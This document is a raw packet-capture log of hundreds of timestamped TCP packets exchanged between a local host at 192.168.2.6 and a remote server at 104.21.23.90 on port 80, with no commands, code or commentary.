Jan 21, 2024 17:12:01.187412977 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.187424898 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.187452078 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.188136101 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.188149929 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.188160896 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.188175917 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.188188076 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.188189983 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.188216925 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.189044952 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.189059019 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.189070940 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.189085007 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.189095020 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.189099073 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.189120054 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.189135075 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.189769983 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.189841032 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.189858913 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.189872980 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.189883947 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.189893007 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.189915895 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.190715075 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.190738916 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.190752029 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.190766096 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.190766096 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.190783024 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.190794945 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.190829992 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.191411972 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.191426992 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.191467047 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.191498041 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.191510916 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.191523075 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.191541910 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.192333937 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.192351103 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.192380905 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.192394018 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.192400932 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.192409039 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.192425966 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.192456961 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.193101883 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.193238974 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.193253040 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.193268061 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.193275928 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.193285942 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.193357944 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.193979979 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.193996906 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.194009066 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.194026947 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.194034100 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.194041967 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.194048882 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.194080114 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.194813013 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.194828033 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.194839954 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.194856882 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.194864035 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.194873095 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.194900036 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.195648909 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.195663929 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.195674896 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.195688963 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.195698023 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.195707083 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.195722103 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.195749044 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.196472883 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.196485996 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.196501017 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.196513891 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.196520090 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.196531057 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.196554899 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.197218895 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.197264910 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.197290897 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.197309971 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.197320938 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.197336912 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.197348118 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.197385073 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.198101044 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.198116064 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.198139906 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.198153973 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.198167086 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.198168993 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.198193073 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.198906898 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.198921919 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.198949099 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.198988914 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.199003935 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.199016094 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.199033022 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.199049950 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.199754000 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.199791908 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.199804068 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.199825048 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.199827909 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.199846983 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.199875116 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.200658083 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.200671911 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.200683117 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.200695992 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.200707912 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.200711012 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.200737000 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.200769901 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.201425076 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.201440096 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.201452971 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.201466084 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.201472998 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.201482058 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.201514959 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.202358007 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.202372074 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.202387094 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.202399015 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.202404022 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.202414036 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.202418089 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.202462912 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.203175068 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.203188896 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.203202009 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.203214884 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.203222990 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.203229904 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.203268051 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.203965902 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.203979969 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.203994989 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.204009056 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.204015017 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.204026937 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.204027891 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.204076052 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.204826117 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.204839945 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.204852104 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.204864979 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.204879045 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.204885006 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.204905033 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.205679893 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.205693960 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.205708027 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.205723047 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.205724955 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.205739975 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.205744028 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.205786943 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.206461906 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.206491947 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.206505060 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.206518888 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.206532955 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.206532955 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.206557989 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.207201004 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.207247019 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.207274914 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.207288980 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.207302094 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.207315922 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.207336903 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.207362890 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.208146095 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.208161116 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.208173990 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.208187103 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.208199978 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.208201885 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.208226919 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.208877087 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.208893061 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.208904982 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.208920002 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.208924055 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.208935022 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.208946943 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.208986044 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.209726095 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.209741116 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.209752083 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.209768057 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.209774971 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.209783077 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.209814072 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.210602045 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.210618973 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.210629940 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.210644007 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.210649967 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.210658073 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.210671902 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.210697889 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.211421967 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.211435080 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.211447001 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.211461067 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.211474895 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.211477995 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.211507082 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.212217093 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.212245941 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.212260008 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.212266922 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.212275982 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.212290049 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.212305069 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.212330103 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.213102102 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.213115931 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.213128090 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.213140965 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.213148117 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.213155985 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.213176012 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.213895082 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.213907957 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.213939905 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.213960886 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.213973999 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.213985920 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.214005947 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.214020967 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.214708090 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.214723110 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.214762926 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.214776993 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.214777946 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.214791059 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.214814901 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.215534925 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.215548992 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.215560913 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.215579033 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.215581894 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.215593100 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.215605974 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.215634108 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.216445923 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.216459990 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.216471910 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.216485977 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.216492891 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.216500044 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.216530085 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.217236996 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.217251062 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.217262983 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.217277050 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.217281103 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.217292070 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.217302084 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.217329025 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.218066931 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.218080997 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.218092918 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.218106031 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.218118906 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.218132019 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.218158960 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.218902111 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.218915939 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.218929052 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.218941927 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.218957901 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.218962908 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.218971968 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.219007969 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.219825983 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.219839096 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.219846964 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.219854116 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.219861984 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.219918966 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.220587969 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.220602036 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.220630884 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.220639944 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.220654011 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.220665932 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.220683098 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.220705032 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.221366882 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.221380949 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.221431017 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.221483946 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.221498013 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.221510887 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.221535921 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.222197056 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.222245932 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.222264051 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.222278118 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.222301960 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.222315073 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.222316980 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.222354889 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.223025084 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.223037958 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.223077059 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.223084927 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.223098993 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.223112106 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.223134041 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.223848104 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.223891973 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.223931074 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.223943949 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.223961115 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.223974943 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.223984957 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.224013090 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.224692106 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.224788904 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.224802971 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.224813938 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.224828005 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.224832058 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.224857092 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.225553036 CET	80	49700	104.21.23.90	192.168.2.6
